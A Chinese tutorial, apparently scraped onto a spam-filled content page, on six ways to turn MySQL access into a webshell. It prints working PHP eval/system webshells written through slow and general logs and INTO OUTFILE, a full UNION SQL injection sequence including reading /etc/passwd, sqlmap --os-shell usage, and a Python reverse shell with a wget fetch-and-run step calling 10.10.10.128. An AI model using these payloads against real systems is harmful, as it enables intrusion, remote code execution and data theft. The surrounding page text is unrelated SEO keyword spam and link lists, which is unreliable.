当前位置: 首页 > news >正文

管理系统网站模板下载做网站价格miniuinet

管理系统网站模板下载,做网站价格miniuinet,定制app开发哪家合适,导航站 wordpressmysql_getshell的几种方法 mysql_getshell 一、mysql的–os-shell 利用原理 –os-shell就是使用udf提权获取WebShell。也是通过into oufile向服务器写入两个文件,一个可以直接执行系统命令,一个进行上传文件。此为sqlmap的一个命令,利用这…

mysql_getshell的几种方法

mysql_getshell

一、mysql的–os-shell

利用原理

–os-shell就是使用udf提权获取WebShell。也是通过into oufile向服务器写入两个文件,一个可以直接执行系统命令,一个进行上传文件。此为sqlmap的一个命令,利用这条命令的先决条件:

要求为数据库DBA,使用--is-dba查看当前网站连接的数据库账号是否为mysql user表中的管理员如root,是则为dbasecure_file_priv没有具体值知道网站的绝对路径

漏洞复现
–os-shell

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --os-shellwhich web application language does the web server support?
[1] ASP (default)
[2] ASPX
[3] JSP
[4] PHP
> 4
do you want sqlmap to further try to provoke the full path disclosure? [Y/n] y
[09:43:59] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('C:/xampp/htdocs/, C:/wamp/www/, C:/Inetpub/wwwroot/') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 2
please provide a comma separate list of absolute directory paths: F:\phpstudy_pro\WWW
[09:44:36] [WARNING] unable to automatically parse any web server path
[09:44:36] [INFO] trying to upload the file stager on 'F:/phpstudy_pro/WWW/' via LIMIT 'LINES TERMINATED BY' method
[09:44:36] [INFO] the file stager has been successfully uploaded on 'F:/phpstudy_pro/WWW/' - http://127.0.0.1:80/tmpucfjt.php
[09:44:36] [INFO] the backdoor has been successfully uploaded on 'F:/phpstudy_pro/WWW/' - http://127.0.0.1:80/tmpbayce.php
sqlmap在指定的目录生成了两个文件(文件名是随机的,并不是固定的)-   tmpbayce.php 用来执行系统命令
-   tmpucfjt.php 用来上传文件
[09:44:36] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a]command standard output: 'ms-vnwaexpuvbab\administrator'

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

–sql-shell
我们可以先使用这个来执行一些sql语句
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --sql-shell

1、查看文件路径
select @@datadir;

2、查看secure_file_priv的值是否为空
select @@secure_file_priv;

返回结果如果有null,则无法写入。当为空的时候则什么都不返回
在这里插入图片描述

secure_file_prive:MySQL的secure-file-prive参数是用来限制LOAD DATA, SELECT ,OUTFILE, and LOAD_FILE()传到哪个指定目录的。
secure_file_prive= ,结果为空的话,表示允许任何文件读写
secure_file_prive=NULL,表示不允许任何文件读写
secure_file_prive=‘某个路径’,表示这个路径作为文件读写的路径
在mysql5.5版本前,都是默认为空,允许读取
在mysql5.6版本后,默认为NULL,并且无法用SQL语句对其进行修改。所以这种只能在配置进行修改

二、慢日志getshell

慢日志:一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中。
查看服务器默认时间值

show global variables like '%long_query_time%'
show global variables like '%long%'

在这里插入图片描述
在这里插入图片描述

查看慢日志参数

show global variables like ‘%slow%’
在这里插入图片描述

慢日志参数修改getshell

set global slow_query_log=1 		# 打开慢日志
set global slow_query_log_file='C:\\phpStudy\\WWW\\test.php'	# 慢日志的路径【注意:一定要用双反斜杠】
SELECT '<?php @eval($_POST[1]);?>' or sleep(11)		# 这儿11是超过慢日志的10秒时间# 测试
http://192.168.111.128/test.php

在这里插入图片描述
在这里插入图片描述

三、general_log来getshell

介绍说明

相关参数一共有3个:general_log、log_output、general_log_fileshow variables like 'general_log';   # 查看日志是否开启
set global general_log=on;   # 开启日志功能show variables like 'general_log_file';    # 看看日志文件保存位置
set global general_log_file='C:/phpStudy/WWW/shell.php';   # 设置日志文件保存位置show variables like 'log_output';  -- 看看日志输出类型  table或file
set global log_output='table'; -- 设置输出类型为 table
set global log_output='file';   -- 设置输出类型为file
一般log_output都是file,就是将日志存入文件中。table的话就是将日志存入数据库的日志表中。

漏洞复现

set global general_log='on';
set global general_log_file='C:/phpStudy/WWW/shell.php'
select '<?php @eval($_POST['pwd']);?>';# 测试
http://192.168.111.128/shell.php

在这里插入图片描述
在这里插入图片描述

四、into_outfile方法getshell

漏洞复现

email=admin'			    #(报错)
email=admin' #  			#(不报错)
email=admin' or '1' #		# 成功登入
email=admin' union select 1,2,3,4,5,6,7,8 #
email=admin' union select 1,2,3,4,5,6,7,8,9 #
email=admin' union select 1,2,3,database(),5,6,7,8 #
email=admin' union select 1,2,3,user(),5,6,7,8 #
email=admin' union select 1,2,3,@@version,5,6,7,8 #
email=admin' union select 1,2,3,group_concat(schema_name),5,6,7,8 from information_schema.schemata#
email=admin' union select 1,2,3,group_concat(table_name),5,6,7,8 from information_schema.tables where table_schema=database()#
email=admin' union select 1,2,3,group_concat(column_name),5,6,7,8 from information_schema.columns where table_schema=database() and table_name='users'#
email=admin' union select 1,2,3,group_concat(concat_ws(':',first_name,last_name,pass,email,pass)),5,6,7,8 from ch16.users#
admin@isints.com : killerbeesareflyingemail=admin' union select 1,2,3,load_file('/etc/passwd'),5,6,7,8 #
email=admin' union select 1,2,3,"<?php system($_POST['x']);?>",5,6,7,8 into outfile '/var/www/sqli_shell.php'#
email=admin' union select 1,2,3,load_file('/var/www/sqli_shell.php'),5,6,7,8 #

在这里插入图片描述
在这里插入图片描述
缺点

1、对web目录需要有写权限能够使用单引号(root)
2、知道网站绝对路径(phpinfo/php探针/通过报错等)
3、secure_file_priv为空

查看secure_file_priv参数,该参数是只读参数,不能使用set global命令修改,如果修改大概率会报错。

show global variables like '%secure%';

五、远程加载拿shell

# 准备脚本
//shell8888.py
export RHOST="10.10.10.128";export RPORT=8888;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'
//get8888.php
<?php system('cd /tmp;wget http://10.10.10.128:81/shell8888.py;chmod +x shell8888.py;./shell8888.py')?># sqlmap上传get8888.php
//上传shell
sqlmap -u 'http://10.10.10.100/login.php' --data='email=admin&pass=admin&submit=Login' --file-write='get8888.php' --file-dest='/var/www/get8888.php'# 本地开启监听
nc -lvvp 8888# 本地开启web下载服务
php -S 0:81# 浏览器远程访问加载get8888.php
http://10.10.10.100/shell8888.py

在这里插入图片描述

六、数据库备份getshell

网站对上传的文件后缀进行过滤,不允许上传脚本类型文件如asp/php/jsp/aspx等。

而网站具有数据库备份功能,这时我们就可以将webshell格式先改为允许上传的文件格式,如jpg、gif等,然后,我们找到上传后的文件路径,通过数据库备份,将文件备份为脚本格式。

获取网站根目录方式

(1)phpinfo()页面:最理想的情况,直接显示web路径
(2)web报错信息:可以通过各种fuzz尝试让目标报错,也有可能爆出绝对路径(单引号、参数报错)
(3)一些集成的web框架:如果目标站点是利用phpstudy、LAMPP等之类搭建的,可以猜测默认路径或者通过查看数据库保存的路径、配置文件路径等。
(4)搜索引擎、利用其他漏洞、中间件错误解析等

http://www.dtcms.com/a/571057.html

相关文章:

  • 门户网站开发 价格线上室内设计师
  • 关键词查找网站门户网站 营销
  • 温州做网站seo网站优化助手
  • 自己免费怎么制作网站吗公司网站上线的通知
  • 浙江人工智能建站系统软件wordpress 添加文件夹
  • 【IOS开发】swift的泛型使用
  • 网站建设结单 优帮云免费建造网站
  • 网站销售优书网书单推荐
  • 爱 做 网站大连做网站仟亿科技
  • 前沿技术借鉴研讨-2025.11.4(心率信号)
  • 建站国外平台网站开发待遇怎么样
  • 连接字符串
  • 字典推导式练习题
  • 建站价格会差可以文章上传视频的wordpress主题
  • Hot100之哈希题
  • 上海智能网站建设公司品牌策划公司排名
  • MATLAB基于改进云物元的模拟机协同训练质量评价
  • 做淘宝客建网站用什么推广的方式
  • 广州网站模板建站传媒公司名字大全霸气
  • 昆明网站制作温州企业网站开发
  • 网站域名实名制网站建设常用代码
  • 云南工程建设总承包公司网站all in one wordpress
  • Vendor Invoice Management with SAP学习笔记-第一章 第二章
  • [C++] 时间处理库函数 | `tm`、`mktime` 和 `localtime`
  • 做网站和维护要多少钱wordpress课程管理系统
  • 电商网站开发报价单格斗网页游戏大全
  • 博罗网站设计公司做网络推广有哪些平台
  • 如何建设旅游网站wordpress 子主题开发
  • 北京微网站建设设计服务公司网站备案撤销
  • 建设网站用什么软件发布网站建设信息